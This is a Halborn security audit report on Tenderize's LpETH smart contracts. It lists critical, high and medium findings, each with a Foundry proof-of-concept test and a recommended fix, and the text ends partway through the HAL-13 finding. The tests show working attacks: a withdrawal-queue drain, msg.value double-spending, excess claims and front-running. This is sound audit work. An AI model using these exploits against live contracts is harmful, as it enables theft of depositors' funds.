Halborn Logo
Draft

LPETH - Tenderize


Prepared by:

Halborn Logo

HALBORN

Last Updated 07/26/2024

Date of Engagement by: June 12th, 2024 - June 28th, 2024

Summary

100% of all REPORTED Findings have been addressed

All findings

14

Critical

3

High

2

Medium

1

Low

5

Informational

3


1. Introduction

Tenderize engaged Halborn to conduct a security assessment on LpETH smart contracts beginning on 06/12/2024 and ending on 06/28/2024. The security assessment was scoped to the smart contracts provided to the Halborn team.

2. Assessment Summary

The team at Halborn dedicated 2 weeks for the engagement and assigned one full-time security engineer to evaluate the security of the smart contract.

The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

    • Ensure that smart contract functions operate as intended.

    • Identify potential security issues with the smart contracts.


3. Test Approach and Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance code coverage and quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

    • Research into architecture and purpose.

    • Smart contract manual code review and walkthrough.

    • Graphing out functionality and contract logic/connectivity/functions. (solgraph)

    • Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.

    • Manual testing by custom scripts.

    • Scanning of solidity files for vulnerabilities, security hot-spots or bugs. (MythX)

    • Static Analysis of security for scoped contract, and imported functions. (Slither)

    • Testnet deployment. (Brownie, Anvil, Foundry)

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on two sets of Metrics and a Severity Coefficient. This system is inspired by the industry standard Common Vulnerability Scoring System.
The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.
The Severity Coefficients is designed to further refine the accuracy of the ranking with two factors: Reversibility and Scope. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.
The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.
The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

Attack Origin (AO):
Captures whether the attack requires compromising a specific account.
Attack Cost (AC):
Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.
Attack Complexity (AX):
Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.
Metrics:
EXPLOITABILIY METRIC (mem_e)METRIC VALUENUMERICAL VALUE
Attack Origin (AO)Arbitrary (AO:A)
Specific (AO:S)
1
0.2
Attack Cost (AC)Low (AC:L)
Medium (AC:M)
High (AC:H)
1
0.67
0.33
Attack Complexity (AX)Low (AX:L)
Medium (AX:M)
High (AX:H)
1
0.67
0.33
Exploitability EE is calculated using the following formula:

E=meE = \prod m_e

4.2 IMPACT

Confidentiality (C):
Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.
Integrity (I):
Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.
Availability (A):
Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.
Deposit (D):
Measures the impact to the deposits made to the contract by either users or owners.
Yield (Y):
Measures the impact to the yield generated by the contract for either users or owners.
Metrics:
IMPACT METRIC (mIm_I)METRIC VALUENUMERICAL VALUE
Confidentiality (C)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Integrity (I)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Availability (A)None (A:N)
Low (A:L)
Medium (A:M)
High (A:H)
Critical (A:C)
0
0.25
0.5
0.75
1
Deposit (D)None (D:N)
Low (D:L)
Medium (D:M)
High (D:H)
Critical (D:C)
0
0.25
0.5
0.75
1
Yield (Y)None (Y:N)
Low (Y:L)
Medium (Y:M)
High (Y:H)
Critical (Y:C)
0
0.25
0.5
0.75
1
Impact II is calculated using the following formula:

I=max(mI)+mImax(mI)4I = max(m_I) + \frac{\sum{m_I} - max(m_I)}{4}

4.3 SEVERITY COEFFICIENT

Reversibility (R):
Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.
Scope (S):
Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.
Metrics:
SEVERITY COEFFICIENT (CC)COEFFICIENT VALUENUMERICAL VALUE
Reversibility (rr)None (R:N)
Partial (R:P)
Full (R:F)
1
0.5
0.25
Scope (ss)Changed (S:C)
Unchanged (S:U)
1.25
1
Severity Coefficient CC is obtained by the following product:

C=rsC = rs

The Vulnerability Severity Score SS is obtained by:

S=min(10,EIC10)S = min(10, EIC * 10)

The score is rounded up to 1 decimal places.
SeverityScore Value Range
Critical9 - 10
High7 - 8.9
Medium4.5 - 6.9
Low2 - 4.4
Informational0 - 1.9

5. SCOPE

Files and Repository
(a) Repository: lpeth
(b) Assessed Commit ID: bebf3fa
(c) Items in scope:
  • Registry.sol
  • utils/ERC721Receiver.sol
  • utils/SelfPermit.sol
↓ Expand ↓
Out-of-Scope:
Remediation Commit ID:
Out-of-Scope: New features/implementations after the remediation commit IDs.

6. Assessment Summary & Findings Overview

Critical

3

High

2

Medium

1

Low

5

Informational

3

Security analysisRisk levelRemediation Date
HAL-06 - LPEth Can Be Drained By Head Of Withdrawal QueueCriticalSolved - 06/28/2024
HAL-08 - Batch Buy Unlocks Can Be Double SpentCriticalSolved - 06/28/2024
HAL-14 - Partially Finalized Amounts Permit Claims In Excess Of DuesCriticalSolved - 06/28/2024
HAL-17 - Denial Of Service Whilst Finalizing WithdrawalsHighSolved - 06/28/2024
HAL-11 - Malicious Liquidity Providers Steal Buy Unlock Excess Through FrontrunningHighSolved - 06/28/2024
HAL-13 - Unlock Redemption Is Vulnerable To Poisoned LiquidityMediumPartially Solved - 06/28/2024
HAL-16 - MinMaxAmount Invariant Can Be CircumventedLowRisk Accepted - 06/28/2024
HAL-04 - Deposit Denial Of Service During Zero LP Supply With Open LiabilitiesLowSolved - 06/28/2024
HAL-01 - Renderer Produces Malformed JSONLowSolved - 06/28/2024
HAL-07 - Unlock Progress Calculations Over Unity Result In Panic RevertLowSolved - 06/28/2024
HAL-15 - Non-Zero Liabilities With Zero Circulating Supply Can Be StolenLowSolved - 06/28/2024
HAL-02 - UUPSUpgradeable Is Not InitializedInformationalSolved - 06/28/2024
HAL-09 - Economic Inefficiency Due To Common Expiration TimeInformationalAcknowledged
HAL-12 - Reduce Code Surface AreaInformationalSolved - 06/28/2024

7. Findings & Tech Details

7.1 (HAL-06) LPEth Can Be Drained By Head Of Withdrawal Queue

// Critical

Description

In LpETH, the WithdrawalQueue is used to control deferred access to delayed withdrawal subsets in a fair manner based on the order in which withdraws occurred. As pending unlocks mature, remaining obligations which could not be fully redeemed at the time when withdrawal action was initiated are sequentially unlocked and can be claimed via a call to claimWithdrawRequest(id):

function claimWithdrawRequest(uint256 id) external returns (uint256 amount) {
    amount = _loadStorageSlot().withdrawQueue.claimRequest(id);
    emit ClaimWithdrawRequest(id, msg.sender, amount);
}

Calls to claimRequest(uint256) have two distinct modes of operation; one path is taken for the head of the queue, which permits partial withdrawals as liquid assets are accrued on the LpETH contract, meanwhile remaining queue elements may withdraw their funds in bulk:

function claimRequest(Data storage $, uint256 id) external returns (uint256 amount) {
    Request storage req = $.queue[id];
    if (msg.sender != req.account) revert Unauthorized();
    if (id < $.head) {
        amount = req.amount - req.claimed;
        delete $.queue[id];
        req.account.transfer(amount);
    } else if (id == $.head) {
        amount = $.partiallyFinalizedAmount;
        req.claimed = uint128(amount); // TODO: safecast
        req.account.transfer(amount); /// @audit unconditional_withdraw
    } else {
        revert NotFinalized(id);
    }
}

Notice that for the head of the queue, there is no explicit accounting for tracking accumulated incremental withdrawals; provided the contract has a balance in excess of the $.partiallyFinalizedAmount, the account in control of the withdrawal request at the head of the queue may continuously withdraw from the contract:

vm.startPrank(attacker);
    _lpEth().claimWithdrawRequest(requestId);
    _lpEth().claimWithdrawRequest(requestId);
    _lpEth().claimWithdrawRequest(requestId);
    _lpEth().claimWithdrawRequest(requestId);
    _lpEth().claimWithdrawRequest(requestId);
    _lpEth().claimWithdrawRequest(requestId); // ...
vm.stopPrank();

Consequently, any new deposit supplied to the contract by LPs can be stolen by an attacker who owns the head of the withdrawal queue. Coupled with negligibly small withdrawal sizes, an attacker may submit an excessive number of withdrawal requests to safeguard their exclusive access to this privileged position and prevent at-risk liquidity providers from exiting with their funds intact.

Proof of Concept

The full exploit is detailed below:

/// @notice the request at the head of the withdrawal queue may
///         drain the contract
function test_drainWithdrawalQueue() public {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    address c0ffee = address(0xc0ffee);
    IERC20 lst = IERC20(EETH_TOKEN);

    uint256 deadbeefDeposit = 1 ether;

    vm.deal(deadbeef, deadbeefDeposit) /* make_deposit */;
    vm.prank(deadbeef);
        _lpEth().deposit{value: deadbeefDeposit}(0);

    /// @custom:hunter is it valid to swap in excess of the balance?
    uint256 c0ffeeSwap = 0.5 ether;

    /// @dev prepare lst and allowances
    vm.prank(_faucet());
        lst.transfer(c0ffee, c0ffeeSwap);

    vm.startPrank(c0ffee);
        lst.approve(address(_lpEth()), type(uint256).max);
        _lpEth().swap(address(lst), c0ffeeSwap, 0);
    vm.stopPrank();

    /// @dev create a withdraw request
    vm.startPrank(deadbeef);
        uint256 requestId = _lpEth().withdraw(deadbeefDeposit / 2, type(uint256).max);

        uint256 tokenId = 101010197349444841392340933157902236146568907813657814364422726681468637791402;
        assertTrue(requestId == 1) /* should_create_overflow_request */;
    vm.stopPrank();

    /// @dev redeem unlock
    _prankUnlockMaturity(tokenId, 1 ether) /* mature */;
      _lpEth().redeemUnlock();

    /// @dev in this privileged position at the head of the queue, `deadbeef`
    ///      may steal all deposits.
    ///      let's assume the contract is liquid:
    uint256 amountToDeposit = 10 ether;
    vm.deal(address(this), amountToDeposit);
        _lpEth().deposit{value: amountToDeposit}(0);

    /// @audit whilst `deadbeef` is the head of the withdrawQueue, they may drain
    ///        the contract through repeat calls to `claimWithdrawRequest`
    vm.startPrank(deadbeef);
        _lpEth().claimWithdrawRequest(requestId);
        _lpEth().claimWithdrawRequest(requestId);
        _lpEth().claimWithdrawRequest(requestId);
        _lpEth().claimWithdrawRequest(requestId);
        _lpEth().claimWithdrawRequest(requestId);
        _lpEth().claimWithdrawRequest(requestId); // ...
    vm.stopPrank();

}
BVSS
Recommendation

Never permit any pending request in the WithdrawQueue to claim in excess of their owed amount.

When concerning the head of the queue, we should ensure that partiallyFinalizedAmounts in excess of the request's remaining claimable amount are inaccessible , and that the claimed counter is updated every time funds are successfully withdrawn.

amount = Math.min(
    Math.min($.partiallyFinalizedAmount, req.amount),
    req.amount - req.claimed
);

req.claimed += SafeCast.toUint128(amount);

if (amount > 0) req.account.transfer(amount);

Remediation Plan

SOLVED: The Tenderize team fixed the issue by reworking the withdrawal queue as per audit suggestion, with a small addition of flushing accumulators when possible.

Remediation Hash
References

7.2 (HAL-08) Batch Buy Unlocks Can Be Double Spent

// Critical

Description

Tenderize's LpETH contract enables the tokenization of the claims to pending unlocks to LSTs via the UnsETH (Unstaking ETH) ERC-721.

The LpETH contract effectively enables LPs to exchange their liquidity for fees on instant redemption of LSTs in exchange for a longer time preference. Whilst LpETH's pooled ether balance is sufficiently liquid versus open obligations, UnsETH tokens pending finalization (once finalized, underlying claims may be redeemed back LpETH in exchange for a keeper fee) can instead be sold to willing buyers via the buyUnlock() and batchBuyUnlock(uint256) functions.

The batchBuyUnlock(uint256) function uses the specified uint256 n to determine the number of tokens to purchase from the back of the unstaking queue in exchange for their msg.value; however, this implementation is vulnerable to double-spends, as the same msg.value is used within a loop:

function batchBuyUnlock(uint256 n) external payable {

    Data storage $ = _loadStorageSlot();

    // Can not purchase unlocks in recovery mode
    // The fees need to flow back to paying off debt and relayers are cheaper

    if ($.recovery > 0) revert ErrorRecoveryMode();

    uint256 totalAmountExpected;
    uint256 totalRewards;
    uint256 totalLpCut;
    uint256 totalTreasuryCut;

    uint256[] memory tokenIds = new uint256[](n);

    for (uint256 i = 0; i < n; i++) {
        // get newest item from unlock queue
        UnsETHQueue.Item memory unlock = $.unsETHQueue.popTail().data;
        if (UNSETH.isFinalized(unlock.tokenId)) break;
        UnsETH.Request memory request = UNSETH.getRequest(unlock.tokenId);
        if (block.timestamp - request.createdAt > UNSETH_EXPIRATION_TIME) break;
        
        // ...

@>      if (msg.value < request.amount - reward) revert ErrorInsufficientAmount(); /// @audit msg.value_reused_on_each_iteration

        // transfer unlock to caller
        /// @custom:hunter re-entrancy
        UNSETH.safeTransferFrom(address(this), msg.sender, unlock.tokenId);
    }

    // Update pool state
    // - update unlocking
    $.unlocking -= totalAmountExpected;
    // - Update liabilities to distribute LP rewards
    $.liabilities += totalLpCut;
    // - Update treasury rewards
    $.treasuryRewards += totalTreasuryCut;

    // Finalize requests
    {
        uint256 amountToFinalize = totalAmountExpected - totalRewards - totalLpCut - totalTreasuryCut;
        /// @audit amounts are not finalized before re-entrancy
        $.withdrawQueue.finalizeRequests(amountToFinalize);
    }

    emit BatchUnlockBought(msg.sender, totalAmountExpected, totalRewards, totalLpCut, tokenIds);
}

Consequently, an attacker may specify a msg.value which is equal to the largest request.amount pending redemption, and exchange this single amount for all of the pending requests.

Proof of Concept

The value of msg.value are persisted throughout the lifetime of the call context, irrespective of how it is spent internally.

In the sequence below, we can demonstrate that attacker c0ffee may accumulate three UnsETH tokens by either paying fairly, or by exploiting the reuse of msg.value

/// @notice Using `msg.value` in a loop can result in double spends.
function test_doubleSpendUnlocks(bool shouldDoubleSpend) external {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    IERC20 lst = IERC20(EETH_TOKEN);

    /// @dev `deadbeef` performs a swap to create an unlock
    uint256 deadbeefSwapAmount = 1 ether;
    uint256 initialDepositAmount = 0.5 ether;

    /// @dev assume some initial deposits
    vm.deal(address(this), initialDepositAmount);
    _lpEth().deposit{value: initialDepositAmount}(0);

    /// @dev prepare balances
    vm.prank(_faucet());
        lst.transfer(deadbeef, deadbeefSwapAmount * 3 /* buy two tokens */);

    vm.startPrank(deadbeef);
        /// @dev prepare allowances
        lst.approve(address(_lpEth()), type(uint256).max);

        /// @dev create two unfinalized unlocks in the queue
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
    vm.stopPrank();

    /// HACK: To avoid incorrect progress calculation, we'll fast forward.
    vm.roll(block.timestamp);

    address c0ffee = address(0xc0ffee);
    vm.startPrank(c0ffee);
        uint256 tokenOneCost = 399_999_999_999_999_998;
        if (shouldDoubleSpend /* should_double_spend */) {
            vm.deal(c0ffee, tokenOneCost);
            /// @audit attacker can purchase an arbitrary number of tokens for a single price
            _lpEth().batchBuyUnlock{value: tokenOneCost}(3);
        } else {
            vm.deal(c0ffee, tokenOneCost * 3);
            _lpEth().buyUnlock{value: tokenOneCost}();
            _lpEth().buyUnlock{value: tokenOneCost}();
            _lpEth().buyUnlock{value: tokenOneCost}();
        }
    vm.stopPrank();
    assertEq(_unsEth().balanceOf(c0ffee), 3);
}
BVSS
Recommendation

Ensure that the msg.value is greater than or equal to the total cost of the purchased tokens:

uint256 totalPrice;

for (uint256 i = 0; i < n; i++) {
    
    UnsETHQueue.Item memory unlock = $.unsETHQueue.popTail().data;
    if (UNSETH.isFinalized(unlock.tokenId)) break;

    // ...
    
    uint256 price = request.amount - reward;
    totalPrice += price;
}

// transfer unlock amount minus reward from caller to pool
// the reward is the discount paid. 'reward < unlock.fee' always.
if (msg.value < totalPrice) revert ErrorInsufficientAmount();

As an additional precaution, it is advised to defer the interactive safe transfer of UnsETH tokens after the effects of the loop have taken place:

$.unlocking -= totalAmountExpected;
$.liabilities += totalLpCut;
$.treasuryRewards += totalTreasuryCut;

{
    uint256 amountToFinalize = totalAmountExpected - totalRewards - totalLpCut - totalTreasuryCut;
    $.withdrawQueue.finalizeRequests(amountToFinalize);
}

/// @dev Transfer purchased tokens over to the `msg.sender`.
for (uint256 i = 0; i < tokenIds.length; i++) {
    uint256 tokenId = tokenIds[i];
    if (tokenId == 0) break;
    UNSETH.safeTransferFrom(address(this), msg.sender, tokenId);
}

emit BatchUnlockBought(msg.sender, totalAmountExpected, totalRewards, totalLpCut, tokenIds);

Remediation Plan

SOLVED: The Tenderize team fixed the issue.

Remediation Hash
References

7.3 (HAL-14) Partially Finalized Amounts Permit Claims In Excess Of Dues

// Critical

Description

When unlocking ether is redeemed, the WithdrawalQueue is passed an amountToFinalize, intended to be distributed to pending withdrawals inside of the queue:

// Finalize requests
{
    uint256 amountToFinalize = totalAmountExpected - totalRewards - totalLpCut - totalTreasuryCut;
    $.withdrawQueue.finalizeRequests(amountToFinalize); /// @audit notify_withdrawal_queue_elements
}

The expectation is that pending withdrawals may gain access to their owed capital once liquid ether is returned to the LpETH contract via a call to claimRequest:

function claimRequest(Data storage $, uint256 id) external returns (uint256 amount) {
    Request storage req = $.queue[id];
    if (msg.sender != req.account) revert Unauthorized();
    if (id < $.head) {
        amount = req.amount - req.claimed;
        delete $.queue[id];
    } else if (id == $.head) {
        amount = $.partiallyFinalizedAmount - req.claimed; /// @audit claim_in_excess
        req.claimed = uint128(amount); // TODO: safecast
    } else {
        revert NotFinalized(id);
    }

    if (amount == 0) revert NoClaimableETH();
    req.account.transfer(amount);
}

Notice that regardless of the amount owed to the head of the WithdrawalQueue, the partiallyFinalizedAmount is allocated. This permits a WithdrawalQueue element to claim way in excess of what it is owed.

Consequently, this can be exploited by a malicious liquidity provider, who burns shares equivalent to merely 1 wei of native ether in exchange for access to the value of partiallyFinalizedAmount, which holds the majority of redeemed ether at maturity:

/// @dev `c0ffee` submits a withdrawal request of `1 wei`
vm.startPrank(c0ffee);
    uint256 withdrawId = _lpEth().withdraw(1, 1);
vm.stopPrank();

/// @dev fast forward to unlock maturity
_prankUnlockMaturity(unlockId, swapAmount);
_lpEth().redeemUnlock();

/// @dev `c0ffee` redeems their share:
vm.startPrank(c0ffee);
    assertEq(c0ffee.balance, 0);
    _lpEth().claimWithdrawRequest(withdrawId);
    assertEq(c0ffee.balance, 4_967_565_843_539_671_813);
vm.stopPrank();
Proof of Concept

The full sequence is described below:

/// @notice the withdrawal queue allows withdraw requests to unlock
///         greatly in excess of their due claims
function test_withdrawalQueuePermitsExcessWithdrawals() external {

    /// @dev `deadbeef` makes a deposit
    address deadbeef = address(0xdeadbeef);
    uint256 deadbeefDeposit = 10 ether;
    vm.deal(deadbeef, deadbeefDeposit);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: deadbeefDeposit}(0);
    vm.stopPrank();

    /// @dev `c0ffee` also makes a much smaller deposit:
    address c0ffee = address(0xc0ffee);
    uint256 c0ffeeDeposit = 1 wei;
    vm.deal(c0ffee, c0ffeeDeposit);
    vm.startPrank(c0ffee);
        _lpEth().deposit{value: c0ffeeDeposit}(1);
    vm.stopPrank();

    /// @dev a swap is made leaving open obligations
    IERC20 lst = IERC20(EETH_TOKEN);
    uint256 swapAmount = 5 ether;
    vm.prank(_faucet());
        lst.transfer(address(this), swapAmount);
    lst.approve(address(_lpEth()), type(uint256).max);
    _lpEth().swap(address(lst), swapAmount, 0);
    uint256 unlockId =
        101010197349444841392340933157902236146568907813657814364422726681468637791402;

    /// @dev `c0ffee` submits a withdrawal request
    vm.startPrank(c0ffee);
        uint256 withdrawId = _lpEth().withdraw(1, 1);
    vm.stopPrank();

    /// @dev fast forward to unlock maturity
    _prankUnlockMaturity(unlockId, swapAmount);
        _lpEth().redeemUnlock();

    /// @dev `c0ffee` redeems their share:
    vm.startPrank(c0ffee);
        assertEq(c0ffee.balance, 0);
        _lpEth().claimWithdrawRequest(withdrawId);
        assertEq(c0ffee.balance, 4_967_565_843_539_671_813);
    vm.stopPrank();
}

Here, we see that in exchange for an insignificant withdrawal of 1 wei, the attacker c0ffee redeems around 4.96 ether.

BVSS
Recommendation

The partiallyFinalizedAmount should be subject to the following constraints:

  1. No request in the queue should be able to claim more than its intended amount. Any withdrawal realized by the queue should result in the claimed amount being incremented, and permit claimed to never exceed more than the amount of the request.

  2. In general, the LpETH contract supports the idea that it is possible for partiallyFinalizedAmount to increase in excess of the amounts pending withdrawals. Although in these severe circumstances it can be demonstrated that this can be exploited, in conjunction with suggested constraints, finalizing more than the queue demands to exit presents a philosophical problem. New queue entrants may in effect be redeemed as soon as the contract balance is solvent (instead of specifically waiting for new finalizations), and the amount of capital earmarked for this purpose is theoretically underutilised in the case where finalizations are in excess of the queue. It is therefore recommended that the partiallyFinalizedAmount may never grow in excess of the current demands of the queue.

  3. Ideally, any ether which is finalized for queue withdrawals should be isolated to a separate account than the LpETH contract to prevent the balances from being conflated with deposits. This will ensure withdrawals may only be taken from withdrawals that have finalized, and does not put withdrawers at risk of repurposing withdrawn capital from offsetting losses realized during unstaking, for example. Once their LPTokens are burned, exiting liquidity providers should be considered immune to the dynamics of unstaking whilst awaiting completed withdrawal (similarly to as if the withdrawal operation had been entirely solvent at initiation).

Remediation Plan

SOLVED: The Tenderize team fixed the issue by reworking the withdrawal queue.

Remediation Hash
References

7.4 (HAL-17) Denial Of Service Whilst Finalizing Withdrawals

// High

Description

The process of finalizing withdrawals via a call to finalizeRequests(uint256) is currently liable to revert. In this scenario, the process of unlocking or redeeming UnsETH is bricked, resulting in the inability to procure any of the unstaked assets from swapped LSTs.

Denial of service occurs because the unstaking queue operates as a linear FIFO where elements must be processed sequentially. However, it becomes impossible to process the highest-priority asset, blocking access to all other pending requests.

The reason this happens is due to implicit assumptions of the binary search embedded within the WithdrawQueue:

uint256 _ltf = $.lifetimeFinalized;
uint256 originalStart = start;

while (start < end) {
    uint256 mid = (start + end) / 2;
    uint256 midCumulative = $.queue[mid].cumulative;

@>  if (midCumulative - _ltf == amount) {
        return mid;
    } else if (midCumulative - _ltf <= amount) {
        start = mid + 1;
    } else {
        end = mid;
    }
}
return start != originalStart ? start - 1 : 0;

We see that when iterating to find a finalizable index, we make the assumption that the midCumulative must always be greater than or equal to the lifetimeFinalized, else suffer a revert due to checked math; however, it can be demonstrated that this scenario can occur naturally.

Proof of Concept

In the sequence below, we demonstrate that realistic interactions with the LpETH contract can result in the invalidation of the implicit numerical assumptions taking place within the WithdrawQueue:

/// @notice the withdrawal queue can lead to DoS of
///         dependent callers to `finalizeWithdrawalQueue`
///         whilst the `midCumulative` is less than the
///         lifetime finalized amount
function test_midCumulativeDenialOfService() external {

    /// @dev `deadbeef` initializes the contract
    address deadbeef = address(0xdeadbeef);
    uint256 initialDepositAmount = 5 ether;
    vm.deal(deadbeef, initialDepositAmount);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: initialDepositAmount}(0);
    vm.stopPrank();

    /// @dev a large swap comes through (all subsequent withdrawal
    ///      requests will be deferred to the withdraw queue)
    uint256 unlockAmount = initialDepositAmount;
    IERC20 lst = IERC20(EETH_TOKEN);
    vm.prank(_faucet());
        lst.transfer(address(this), unlockAmount * 2);
    lst.approve(address(_lpEth()), type(uint256).max);

    _lpEth().swap(address(lst), unlockAmount, 0);
    uint256 firstUnlockId
        = 101010197349444841392340933157902236146568907813657814364422726681468637791402;

    _lpEth().swap(address(lst), unlockAmount, 0);
    uint256 secondUnlockId
        = 91181243761635084542451112842887060843738865109146227320944889182988007673950;

    // HACK: Force withdrawal request submissions to succeed
    //       without either triggering denial of service or
    //       finalizing requests.
    uint256 hackBufferAmount = 10 ether;
    vm.deal(address(this), hackBufferAmount);
        _lpEth().deposit{value: hackBufferAmount}(0);

    vm.startPrank(deadbeef) /* make 5 pending withdrawals */;
        assertEq(1, _lpEth().withdraw(1 gwei, type(uint256).max));
    vm.stopPrank();

    /// @dev prank first unlock
    _prankUnlockMaturity(firstUnlockId, unlockAmount);
        _lpEth().redeemUnlock();
    vm.clearMockedCalls();

    vm.startPrank(deadbeef) /* make 5 pending withdrawals */;
        assertEq(2, _lpEth().withdraw(1 gwei, type(uint256).max));
    vm.stopPrank();

    /// @dev prank second unlock
    _prankUnlockMaturity(secondUnlockId, unlockAmount);
        vm.expectRevert(); /// @audit underflow_panic
            _lpEth().redeemUnlock();
    vm.clearMockedCalls();

}

In this scenario, unlocks cannot be redeemed or purchased, since both avenues attempt to finalize withdrawals.

BVSS
Recommendation

The WithdrawQueue implicitly contains all necessary data dependencies to implement partiallyFinalized withdrawals atomically at the point of request, instead of via active management of a cached finalize index, which can lead to the emergence of subtle issues and a greater manipulation surface area.

It is recommended that partial withdrawals be determined purely on the lifetimeFinalized versus the cumulative amount at the point the request was instantiated. Any amount of lifetimeFinalized in excess of the cumulative amount for the request can then be considered a partially finalized amount (provided it is clamped at the maximum amount the request is owed).

Remediation Plan

SOLVED: The Tenderize team fixed the issue. Updated withdrawal queue no longer uses binary search.

Remediation Hash
References

7.5 (HAL-11) Malicious Liquidity Providers Steal Buy Unlock Excess Through Frontrunning

// High

Description

All swap(address,uint256,uint256)s of LSTs which are in excess of the LpETH's liquid assets will result in the creation of an UnsETH (Unstaking ETH) ERC-721, which represents an underlying claim to an amount of unlocked LST token value at maturity. Given that withdrawal from staking protocols will incur a time delay, these tokens are placed at the end of the unstaking ether queue to prioritize keeper redemption of tokens which are closer to maturity first.

High time-preference UnsETH tokens at the tail of the queue may be purchased via calls to buyUnlock() and batchBuyUnlock(uint256) for a reward, however this queue is mutable between adversaries; for example, the queue can be arbitrarily appended to or purchased from within a single block. Prospective buyers have no control of what precise tokenIds they end up purchasing, they merely purchase a specified quantity of any tokens from the tail - irrespective of their underlying value at execution time.

Invariably, this behavior can be exploited by malicious liquidity providers.

If a transaction intending to make a sizeable purchase of UnsETH is detected in the mempool, malicious LPs may frontrun the transaction and invoke low-value swaps in an effort to append to the tail of the unstaking queue prior to the victim transaction. Once the victim transaction is realized, the msg.value they provided, intended to purchase fairly-priced UnsETHs, will instead be redeemed in exchange for the UnsETH token in possession of significantly inferior underlying value, helping accrue value back to the LpETH contract.

Proof of Concept

In the following sequence, we imagine a malicious LP chooses to frontrun a pending attempt to invoke buyUnlock(uint256) in the mempool:

/// @notice lack of refunds for purchases from the queue can be exploited
///         through frontrunning
function test_maliciousLiquidityProviders() external {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef) /* liquidity_provider */;
    address c0ffee = address(0xc0ffee) /* prospective_buyer */;

    /// @dev first, let's initialize `LpETH` with some deposit:
    uint256 initialDeposit = 10 ether;
    vm.deal(deadbeef, initialDeposit);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: initialDeposit}(0);
    vm.stopPrank();

    /// @dev next, let's assume that there's an inbound swap that results
    ///      in a pending unstake on the queue
    IERC20 lst = IERC20(EETH_TOKEN);
    uint256 lstSwapAmount = 20 ether;
    vm.prank(_faucet());
        lst.transfer(address(this), lstSwapAmount);
    lst.approve(address(_lpEth()), type(uint256).max);
    _lpEth().swap(address(lst), lstSwapAmount, 0);

    /// HACK: To avoid incorrect progress calculation, we'll fast forward.
    vm.roll(block.timestamp);

    /// @dev here we configure whether `deadbeef` is a malicious
    ///      liquidity provider. when malicious, they front run
    ///      inbound requests with an unlocking token whose `amount`
    ///      is significantly smaller than the current tail of the
    ///      queue
    bool shouldFrontRun = true;
    if (shouldFrontRun /* should_front_run */) {
        uint256 maliciousUnlockAmount = 1 gwei;
        vm.prank(_faucet());
            lst.transfer(deadbeef, maliciousUnlockAmount);
        vm.startPrank(deadbeef);
            lst.approve(address(_lpEth()), maliciousUnlockAmount);
            _lpEth().swap(address(lst), maliciousUnlockAmount, 0);
        vm.stopPrank();
    }

    /// @dev `c0ffee`, our victim, attempts to purchase:
    vm.startPrank(c0ffee);

        uint256 buyUnlockAmount = 19_999_999_999_999_999_999 wei;
        vm.deal(c0ffee, buyUnlockAmount);

        UnsETH.Request memory purchasedRequest = _unsEth().getRequest(
            _lpEth().buyUnlock{value: buyUnlockAmount}() /* purchase_a_token */
        );

        assertEq(c0ffee.balance, 0 wei) /* c0ffee_balance_emptied */;
        assertEq(
            purchasedRequest.amount,
            shouldFrontRun ? 999_999_999 : 19_999_999_999_999_999_999
        );

    vm.stopPrank();
}

By appending low-value tokens to the end of the queue, the majority of the victim's capital is spent on worthless tokens.

BVSS
Recommendation

It is recommended that the caller attempting to purchase UnsETHs from the tail of the queue iteratively purchase queue items whilst the supplied msg.value is sufficient for the cumulative price of the purchased tokens.

Once finished, any remaining unspent funds from their msg.value should be returned.

Remediation Plan

SOLVED: The Tenderize team fixed the issue. The user needs to provide the expected ID when calling buyUnlock and batchBuyUnlock functions.

Remediation Hash
References

7.6 (HAL-13) Unlock Redemption Is Vulnerable To Poisoned Liquidity

// Medium

Description

When a keeper invokes redeemUnlock() or batchRedeemUnlocks(uint256), both the liabilities and availability of native ether in the LpETH contract increase in a stepwise fashion.

Although the keeper is incentivized to perform invoke unlock redemption in exchange for a fee, they may extract much greater economic value from the protocol than this, since they can sandwich their own unlock operations as a means to siphon value away from liquidity providers.

Unlock redemption increases the value of the LpToken⁣. Therefore, a keeper can use a flash loan to amass pool shares at a comparatively lower price compared to their post-redeem worth and flip these atomically during the course of a single transaction.

